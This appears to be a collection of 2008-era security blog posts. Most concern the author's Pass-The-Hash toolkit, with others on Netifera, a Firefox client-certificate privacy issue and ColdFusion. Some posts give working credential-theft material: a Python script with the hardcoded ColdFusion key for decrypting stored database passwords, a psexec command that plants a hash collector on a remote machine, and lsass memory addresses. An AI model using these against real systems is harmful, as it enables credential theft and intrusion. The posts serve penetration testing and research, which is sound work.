Netifera v1.0 released!

Check out the new version of Netifera! v1.0 has been released!.

Next is a description of the new features of this release:

Netifera is a new modular open source platform for creating network
security tools. This project provides many advantages for both
security developers and researchers who want to implement new tools as
well as the community of users of these tools.

Tools

* Full IPv6 support
* TCP and UDP network scanning
* Service detection
* Operating system identification
* Reverse DNS scanning
* DNS name brute forcing
* DNS zone transfer information gathering
* Geographical information about network addresses
* Authentication brute force attack (against HTTP, FTP,IMAP and POP3)
* Web crawler discovers applications, collects email addresses and
adds the site structure to the model
* Integrated terminal for connecting to and interacting with network services

Passive Tools

* Modular packet capture service
* Capture packets on multiple interfaces simultaneously
* Parse ’pcap’ format capture files as input to sniffing modules
* HTTP traffic analysis
* DNS information gathering from captured responses
* Network stack fingerprinting
* Service detection from captured banners and protocol packets
* Client application detection
* Credential sniffing for many protocols

Data Model

All information discovered by the netifera platform is persistently
stored in a workspace database. Our extension design allows for
developers to easily create their own data types and integrate them
into the platform.

User Interface

The platform provides an intuitive and professional quality graphical
user interface for using the tools written for our platform and
navigating the information they produce. Different tasks in our
application such as sniffing information from the network, or actively
collecting information by scanning networks, or exploring the local
environment of a remotely deployed probe (coming soon! ) each have a
specialized configuration of the user interface called a ’perspective’

Programming API

The netifera platform brings together high quality programming APIs
for tasks such as:

High performance asynchronous socket connection and communication
Link level packet capture and raw socket injection
802.11 monitor mode packet capture and injection (coming soon! )
Network protocol header construction and analysis (ethernet, ip, tcp, etc...)
Application layer protocol libraries (http, dns, ftp, etc...)

* Important * Remove older versions before installing
If you have any previous version installed, you must delete the entire
directory (or move it out of the way) before installing this version.
This version is not compatible with the workspaces created with
previous beta versions so you should remove the .netifera folder from your home
directory (rm -rf ~/.netifera)

Microsoft wants to listen to music with me

I just installed Windows 7 Beta, I run Windows Media Player for the first time and I get the following dialog:


The default option is 'Recommended Settings' but I notice that it says 'send usage data from the Player to Microsoft' and I go 'nah..' and choose 'Custom settings' because it says 'Customize privacy,..'

I click 'Next' and the following dialog appears:


But mhmmm....I can't uncheck the 'I want to help make Microsoft software and services even better by sending Player usage data to Microsoft'...

I like it how they try to sell it to you... 'come on! help Microsoft make this software even better! helping is good! help! if you help you're a good person! heeeeeeeelp!' ...

I guess this is a 'conditioned' beta, you get to play with the software but only if you are willing to 'help'.. :) which is good, right? :)

It's a silly thing anyways, but I thought it was funny.

Firefox and client certificates: a privacy issue

There's something disturbing in the way Firefox handles client certificates in some situtations; in fact I just sent an email to Mozilla Security a few days ago and the person who answered me verified they knew about it and in fact they had issued an advisory some time ago, but it seems I missed it, so my bad.

This person kindly provided me the following links which are very informative:

discussion of the bug behind the behaviour:
http://www.mozilla.org/security/announce/2008/mfsa2008-17.html

An article that attemps to describe the algorithm used by Firefox for picking the cert and ways to improve it
http://www.mozilla.org/security/announce/2008/mfsa2008-17.html

developers newsgroup where you can talk about certificate issues:
http://news.mozilla.org/mozilla.dev.tech.crypto

There're still things, in the last article specially, that I think do not match what happens in reality, but oh well.. maybe in some other post, I still need to check some things before saying anything more.

Thanks to Mozilla Security for their prompt response and the links.

So, here's the thing:

Let's assume you use client cerficates for some web sites and you have imported them into Firefox.

By default, if a remote https server requires client certificates, Firefox is setup to display a dialog box listing the certificates you have in Firefox's certificate store and let you choose which one to present to the remote https server.

This is the default option and can be found in the Edit->Preferences->Advanced->Encryption Tab under 'Certificates' (or Tools->Options->Advanced->Encryption if you're running Windows).

The option is called 'Ask me every time'.

The problem with using this option is that sometimes with some web servers, Firefox will ask you again and again and again which certificate to use. For example, if you're using VMWare server and accessing it thru the web interface, you'll have this problem.

According to the person I 'talked' to at Mozilla Security this is because the servers are misconfigured, do not cache the SSL session and re-request the certificate on every connection; which sounds reasonable (I think).

The thing is that, in these situations, it is impossible to keep the 'Ask me every time' option enabled.. having the 'choose certificate' dialog appearing every 2 minutes while you're trying to do somethings drives you crazy..

I'm not saying it is Firefox's fault , I'm saying it's just impossible to keep that option enabled in these cases.

So, what can you do? You can go and change the option to be 'Select one automatically'.

Doing that will solve all your problems, the dialog asking for which certificate to use will not appear any more because Firefox will choose one for you.

THE THING IS... Firefox's algorithm to choose which certificate to send is not very good.. to tell you the truth I have no idea exactly what's the algorithm they use (the information found in the link I mentioned above was not enough for me to understand exactly how it works).. but from what I've seen in practice.. it is very bad..

Because of this, situations like the following can occur:

* You have a client certificate for the Organization 'Organization A' stored in the Firefox certificate store

* You connect using https to www.organizationb.com (or any other domain, www.whatever.com, just one that has absolutely NOTHING to do with the organization that provided you with the client certificate :)). This https server requires client certificates.

* if you have the 'Select one automatically' option enabled, it is very likely that Firefox will send the client certificate for 'Organization A' to this unknown, untrusted, arbitrary https server (specially if this is the only client certificate you have).

* This all happens transparently, you'll never know it happened.


So... this is not very good.. it's a privacy issue.. client certificates usually contain email-addresses, the name of organizations, YOUR NAME, YOUR EMAIL ADDRESS,... you get the idea..

So, if you have the 'Select one automatically' option enabled, anyone on the Internet can potentially know your name, your organization's name, your e-mail address.. not very good.. and it all happens behind the scenes.

So, again, using 'Select one automatically'... not a very good idea.. :)

If you use client certificates, you can also create a 'fake' certificate without any personal information and hope Firefox will deliver that one to the remote server. I tried this and it works, but I haven't yet thoroughly analyzed the algorithm they use to choose which certificate to send to be able to to tell you how to create it and whether a remote server can still make Firefox send your other certificates.

So let me repeat again, 'Ask me every time' is the default option in Firefox (this is very important), however, sometimes, as I explained before, having this option enabled is not possible (yes, the scenarios are limited, but they exist), so.. in these special cases.. I recommend having a 'fake' cert or enabling 'select one automatically' and then be sure not to access any other web server :) (not browsing only https servers is not enough, think redirect.. ) until you change the setting back to 'Ask me every time' :).

if you want to try this out, you can use openssl:

* Enable 'select one automatically' if you haven't enabled it already
* create a fake server certificate to use with openssl
* run the following command: sudo openssl s_server -accept 443 -cert server.crt -key server.key -crl_check -verify -state -HTTP (or change -accept 443 to -accept to avoid running openssl as root.. it's just a test anyways.. )
* go to your browser and access https://localhost/something
* the client certificate information will be displayed by openssl

See the next screenshot:



* you can also add the -debug parameter to openssl if you want to obtain more verbose information
* you can also use ruby and WEBrick (you won't have to create a fake server certificate); or any other scripting language :)

So, there're many improvements that could be done to the 'Select one automatically' option (some are very naive and are mistakes :)).. so be careful..

Netifera beta2 released

Netifera just released beta2. check it out: http://blog.netifera.com/beta-2-released/

I really like where this tool/framework is going. If you're a consultant or something like that :), and you wanted a very good framework, with a nice GUI, nice plugin architecture, oriented towards data gathering, passive and active network discovery, creating associations between discovered entities, and more, you have to check out this tool.

Of course, it is still in beta, and lots of things need to be added, improved, fixed; but anyways, like I said, I really like the direction the tool is taking.

MS08-068 - anti-smbrelay?

Ok, this is kind of a lame post because I'm gonna give you links to posts made by other people, but oh well, I felt like sharing what I'd found and I'm posting links and not reposting anything, so it should be fine :).

I was looking for information about how MS08-068 tried to prevent the smbrelay attack (or "SMB credentials reflection attack" as MS likes to call it) and the best post I found was this one from metasploit's blog:

http://blog.metasploit.com/2008/11/ms08-067-metasploit-and-smb-relay.html

I also find interesting the following posts:

http://blogs.technet.com/swi/archive/2008/11/11/smb-credential-reflection.aspx

http://blogs.technet.com/msrc/archive/2008/11/11/ms08-068-and-smbrelay.aspx

Anyways, I haven't verified any of the things said in these posts, so "trust, but verify".

HITB2008 - Malaysia - Pass-The-Hash Toolkit for Windows Presentation

Hey, so I'm back from Malaysia!.
Great place, very interesting, I need to go back as soon as possible :).

Thanks to Dhillon for the opportunity to present in the conference and going to Malaysia, and the entire HITB Crew for your help during the conference. Special Thanks go to Fabian, a HITB Volunteer, that waited for me at the airport at 6:20am to send me on my way to the Hotel. Thanks Fabian! :).

Materials for the conference are available here:

http://conference.hackinthebox.org/hitbsecconf2008kl/materials/

My presentation, "Pass-the-hash toolkit for Windows - Implementation & Use" is available here:

http://conference.hackinthebox.org/hitbsecconf2008kl/materials/D1T1%20-%20Hernan%20Ochoa%20-%20Pass-The-Hash%20Toolkit%20for%20Windows.pdf

The presentation is a good starting point to understand how the tools were implemented, and will also give you an insight on how to use the tools and why.

The presentation does not describe exactly the demo I did where I reproduced (as a single example of this situtation) a 'vulnerability' where NTLM credentials remained in memory after users log off, which is also one of the best arguments in favor of using the whosthere/whosthere-tool during a pentest, but it shouldn't matter anyway because I just reproduced the 'bug' to show the audience I was not lying about this issue :), so being able to reproduce it (the case I showed at least) should not be relevant; the only relevant thing is: you should use whosthere/whosthere-alt during pentests to gather admin credentials of past logons that are in memory :).

bug in iam-alt makes it fail completely (easy to fix)

Thanks to 'nop' that posted this question in the hexale forums I've found a bug in iam-alt.c that makes it fail miserably every single time :). my bad.

So, if you're having issues with iam-alt.exe where you pass to it a hash, and it says it has successfully changed it in memory, but then you run whosthere/whosthere-alt and the hash you see is nothing like the original hash you provided to iam-alt.exe the source of this issue is this bug.

the bug is very easy to fix, if you want to fix it yourself, you just need to modify the following:

In pshtoolkit_v1.4-src\iam-alt\iam-alt.c:

line 332:
change
memset(nums, 'x00', 3);
for
memset(nums,'\x00',3);

line 337:
change
memset(nums, 'x00', 3);
for
memset(nums,'\x00',3);

and that's it! (feel free to modify the memset() call to include your desired representation of the byte value 0 :))

This fix is gonna be included in the next release; if you're in a hurry and for some reason want to fix this immedately and cannot re-compile the tool by yourself, drop me an email and I'll send youthe fixed version of iam-alt.exe.

WifiZoo and the new version of scapy

The current version of Wifizoo does not work with scapy's latest version (http://www.secdev.org/projects/scapy/files/scapy-latest.zip), you'll get the following error when running wifizoo:

Traceback (most recent call last):
File "wifizoo.py", line 48, in
conf.verb = 0
NameError: name 'conf' is not defined

To fix this error do simply the following:

Look in wifizoo.py for the line that says 'import getopt' and after that add the following line:

from scapy.all import *

and now everything should work again.

How to store AddressBook data on an encrypted volume

Ok, i'm paranoid and I did the following to store the data of OS X's AddressBook on an encrypted DMG volume. Using this method I know all data in my addressbook is unencrypted and available only when I want it to be unencrypted (that is, only when I mount the encrypted DMG volume).

This is nothing great or difficult, is actually pretty dumb, but I thought perhaps someone out there will also find it useful:

1.I assume you already have your DMG encrypted volume or TrueCrypt image or whatever you use created; let's say you mount it at /Volumes/encdisk
2.AddressBook data is stored in ~/library/ApplicationSupport/AddressBook
3.Move everything in ~/library/ApplicationSupport/AddressBook to /Volumes/encdisk/AddressBook
4.rm -fr ~/library/ApplicationSupport/AddressBook
5.ln -s /Volumes/encdisk/AddressBook/ AddressBook

and that's it :)

If your encrypted DMG/TrueCrypt volume is not mounted and you launch AddressBook,, it will of course start executing and will then terminate immediately, which is great! :)

DISCLAIMER: Do this at your own risk; I cannot be held responsible if following this instructions destroys all your data.

wifizoo.hexale.org - WifiZoo's new web site

Wifizoo has a new web site completely dedicated to the tool.

Yes, it is still ugly and basically contains the same info as the old one, but I'm going to change that as soon as possible.

For starters, there's a 'News' section that right now is basically a bunch of items inside a <li> tag :), but this section contain several pieces of information that were scattered on different web sites and my inbox up until now.

The idea is to gather all information regarding Wifizoo in wifizoo.hexale.org making it the place to go when searching for information about the tool.

To all of you who have sent me links to videos and tutorials about wifizoo, please, can you send them again? I'll go thru my inbox, but I don't want to miss any, so, if you are still interested, please resend me the link to the tutorial/video/etc so I can add it to the web site.

And remember there's a Wifizoo forum at www.hexale.org/forums.

*Support for XP SP 3 for whosthere/iam (whosthere-alt/iam-alt work on xp sp3
without requiring any update)

*New -t switch for whosthere/whosthere-alt: establishes interval used by the -i switch (by default 2 seconds).

*New -a switch for whosthere/iam: specify addresses to use. Format: ADDCREDENTIAL_ADDR:ENCRYPTMEMORY_ADDR:FEEDBACK_ADDR:DESKEY_ADDR:LOGONSESSIONLIST_ADDR:LOGONSESSIONLIST_COUNT_ADDR (WARNING!: if you use the wrong values the system may crash)
The idea is that, if you find yourself in a version of Windows where
whosthere/iam don't work (and iam-alt/whosthere-alt don't work either); you can run LSASRV.DLL thru IDA, run the PASSTHEHASH.IDC script included in the Pass-The-Hash toolkit, and use the addresses found by the script with the -a switch.

This basically allows you to specify addresses at runtime to whosthere whithout
the need to recompile the tool.

*New -r switch for iam/iam-alt: Create a new logon session and run a command with
the specified credentials (e.g.: -r cmd.exe)

*genhash now outputs hashes using the LM HASH:NT HASH format

*several bugfixes and stuff

How to decrypt Coldfusion datasource passwords

ColdFusion stores passwords for DataSources encrypted in the following XML files:

• Coldfusion 7: \lib\neo-query.xml

for example: c:\CFusionMX7\lib\neo-query.xml

• Coldfusion 8: \lib\neo-datasource.xml

for example: c:\coldfusion8\lib\neo-datasource.xml

the xml contains nodes/items like this:

<var name="password">
<string>maJsuHYMay8zpmptC2yibA==</string>

one for every data source.

Both Coldfusion versions use the same mechanism to encrypt the passwords;
this mechanism can be found in the following way:

• Find \lib\cfusion.jar

• Extract its contents

• Decompile \coldfusion\sql\DataSourceDef.class

(use for example: cavaj Java decompiler: http://www.sureshotsoftware.com/cavaj/index.html)

You'll find the following code:

[..]
public class DataSourceDef {

[..]

protected static final String seedval = "0yJ!@1$r8p0L@r1$6yJ!@1rj";

[..]

protected String getPassword() {

if(password == null) { return null; }

if(password.equals("")) { return ""; }

else {

String pwd = null; String secKey = CFPage.generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"); pwd = CFPage.Decrypt(password, secKey, "DESede", "Base64"); return pwd;

}

}

[..]

And here's a simple script that will decrypt the passwords:

[..]

import pyDes
import base64
import sys


print "Coldfusion v7 y v8 DataSource password decryptor (c) 2008 Hernan Ochoa (hernan@gmail.com)"
print " "

if len(sys.argv) <>
print "syntax: coldfusion_ds_decrypt.py "
exit(0)

pwd = sys.argv[1]
key = "0yJ!@1$r8p0L@r1$6yJ!@1rj"

k = pyDes.triple_des(key)
d = k.decrypt( base64.decodestring(pwd), "*")

print "decrypted password: " + d

[..]

If you have compromised a machine with Coldfusion, you might find
useful to have these passwords to test them against the database server
and other servers (if you have control over the Coldfusion installation,
you can already execute sql code using cfm without knowing the password
for the datasource; but STILL it might be good to have these passwords,to access the database servers directly, they might be the same as the ones used for other remote admin accounts, etc
(I've seen it and I'm sure you have seen it too)).

If you have access to the Coldfusion administrator page (http://target/CFIDE/Administrator) you can go to the datasources section and you'll see the base64-encoded encrypted password for all the datasources.

Go to the 'DataSources Section'

Click on a 'DataSource' (e.g.: Test)

Look at the source code for the HTML page:

This is another method for obtaining the base64-encoded encrypted passwords,
instead of going to the XML files on disk.

Of course, if you have access to the administrator console already, you can do pretty much everything; I'm just saying this is a convenient method to obtain the password for later decryption.

Windows XP SP3 and Pass-The-Hash Toolkit: it Works!

Ok, so Windows XP SP3 is out.

With this new version:

whosthere-alt.exe still works without requiring any modifications.
whosthere.exe does not work because this is the more 'gentle' and 'stealth' :) version of the tool and requires precise memory addresses.

But that's why I released the passthehash.idc IDA script; so you can easily get these addresses yourself.

And that's also the reason why the new version of whosthere.exe has a new -a switch that allows you to use specify these addresses without having to recompile the tool.

This new version is going to be released soon, but if you want it right now, email me (please, try to email me if you REALLY need it :)).

I haven't tested iam/iam-alt but the same thing observed with whosthere/whosthere-alt should apply to these tools.

In case you were wondering, the new addresses you need for Windows XP SP3 English are:

whosthere -a 75753BA0:7573FDEC:757D0C98:757D0CA0:757CFC60:757CFE54

(remember that whosthere-alt.exe works as it is on Windows XP SP3)

New features for pass-the-hash toolkit

Hi,

I'm in the process of adding new features to the "pass-the-hash toolkit". This means I've found time to do it :), so.. If you have any ideas for new features/bugs that need to be addressed, please let me know.

I'm currently adding:

-better support for Windows Vista
-feature to specifiy addresses (such as the ones obtained via passthehash.idc) to whosthere and iam without having to recompile the tools

If you have any comments, please leave them here as comments to this blog post or

Thanks!,

Hexale forums

Ok, so I finally set up a web site to put all my stuff on, checkout

www.hexale.org

well.. right now is empty :) but one thing I did installed is the forums
section, check out

www.hexale.org/forums/

There's a forum for each of the tools I have publicly released so far. Some
people have requested such a thing in the past, so here you go, I hope you
find it useful.

If there's another forum you'd like to see, please let me know.

-t switch added to whosthere and whosthere-alt

Just wanted to let you know that I've added a -t switch both to whosthere and whosthere-alt

the -t switch sets the time interval used by the -i option (the option that waits indefinitely trying to capture new hashes)
before, the time interval was 2 seconds, now this can be set at will using the new -t switch

for example:

whosthere.exe -i -t 20
will attempt to gather new hashes every 20 seconds

whosthere-alt.exe -i -t 0.5
will attempt to gather new hashes every 0.5 seconds


This feature will be available on the next release, but if you really need it, just send me an email and I'll send you the new version with this feature included.

Comment on article about 'vm attacks' at www.eusecwest.com

I was reading the following story:

http://www.eusecwest.com/justin-ferguson-interpreter-vm-attacks.html

I'll keep my subjective opinion about the article to myself and will focus on the following:

I think that the use of the function 'sys._getframe()' mentioned in the article as a way to 'obtain a heap address' is 'misleading' .

Python gives away memory addresses all the time, there's no need to call a 'weird' function (sys._getframe() is not weird anyways):

(from http://shell.appspot.com/, but applicable to any python deployment):

>>> a = 'mythbusters'
>>> id(a)
6912173043421908880
>>> hex(id(a))
0xe81da54d11f45f88L'
>> sys._getframe()
frame object at 0xe81da54d1ff6afc8

both addresses are clearly in the same 'range', so I can infer they 'refer' to the same 'thing', if the 'thing' is the 'heap', then both methods 'leak' a heap address,
or more importantly, they 'leak' the same 'thing' :)


or

(on a windows machine)

>>> class a:
... def test(self):
... print 'hola'
...
>>> j = a()
>>> j
__main__.a instance at 0x004AF0F8
>>> sys._getframe()
frame object at 0x00475960

and finally (done at from http://shell.appspot.com/)

>>> import os
>>> os.uname()
('Linux', '', '', '', '')

If you think I'm wrong, please comment!

Using whosthere.exe with psexec

Ok, a few days ago I received the following question and I have been asked the same thing before so here it goes:

The question, more or less, is:

How do you run whosthere.exe into a remote machine using psexec dettached from any console and leave it running there collecting hashes?

the answer is:

psexec \\ -d -c whosthere.exe -o myhashes.log -i

psexec's -d switch basically makes it run whosthere.exe and exit.
whosthere's -o switch specifies the name of the file containing the list of unique credentials collected.
and the -i switch makes whosthere.exe run in an infinte loop looking for new
logon credentials and storing them on the file specified by the -o switch.

Remember, of course, you will probably need to specify the -u and -p switch to psexec, or you can do from your machine something like

net use \\\ipc$ * /u:user password

and then run psexec.

Also remember, that if you want to use whosthere-alt.exe, you can't use psexec's -c switch (I think), because whosthere-alt.exe also requires the pth.dll, so you will probably need to copy whosthere-alt.exe and pth.dll to the target machine and then run psexec without the -c switch and specifying the path where whosthere-alt.exe and pth.dll are located.

Hope it helps!.

WHATSNEW:


Pass-The-Hash Toolkit 1.3 by Hernan Ochoa (hochoa@coresecurity.com, hernan@gmail.com)
=====================================================================================

What's new?:

* PASSTHEHASH.IDC: This .IDC IDA Pro script can be used to obtain the addresses
iam and whosthere need to obtain/modify logon session credentials. Load LSASRV.DLL
into IDA Pro (make sure to import the symbols) and run the script to get the
addresses you need to add to the source code to add support for the LSASRV.DLL version
you have, in case it is not supported yet.
If you use the script, please send me the addresses so I can include them in
the next version of the toolkit.


* IAM-ALT and WHOSTHERE-ALT: two new tools written from scratch that do the
same thing that IAM and WHOSTHERE do but using a slightly different technique,
aiming at making the tool work on more systems without requiring users to
modify the source code of iam/whosthere (or wait for the next version:)).

The good thing about this 'alt' version of the iam/whosthere tools is that
they SHOULD work on more windows versions without modifications.
The 'bad' thing is that both tools need to execute code inside lsass.exe.
The tools basically use the functions MSV1_0.DLL!NlpDeletePrimaryCredential,
MSV1_0.DLL!NlpAddPrimaryCredential, and MSV1_0.DLL!NlpGetPrimaryCredential;
these are the functions gsecdump uses (if I'm not mistaken).
The current heuristics used to find the functions inside MSV1_0.DLL is horrible
but it works.

whosthere uses a method tha allows it to obtain credentials just by
reading memory, without executing any code. iam does not, but just
because I'm lazy, it will do it eventually, the downside to this approach
is that although it does use heuristics to verify hardcoded addresses, it
does have hardcoded addresses anyways.And that's why to help solve this issue
but at the same time maintain the possiblity of obtaining credentials
without executing code inside lsass.exe, I created the passthehash.idc
script. If you don't care about executing code inside lsass.exe, use
whosthere-alt.


*iam/whosthere: Added support for more windows versions. including different languages.

*iam/iam-alt: new syntax. now you have to use -h to specify the credentials.

*whosthere/whosthere-alt: new -o switch to dump credentials to a file

*whosthere/whosthere-alt: new -i switch that will make whosthere/whosthere-alt
display current logon credentials found in memory and then wait forever for
new logon sessions and display only those new sessions. you can use this switch
together with the -o switch to dump credentials found to a file. Now you can leave the
tool running and it will log all unique interactive logon sessions created, it makes
easier the job of waiting for the administrator to log into the compromised
machine where whosthere/whosthere-alt is running. Thanks to heathengod for the
idea of this feature.

*several bugfixes and stuff
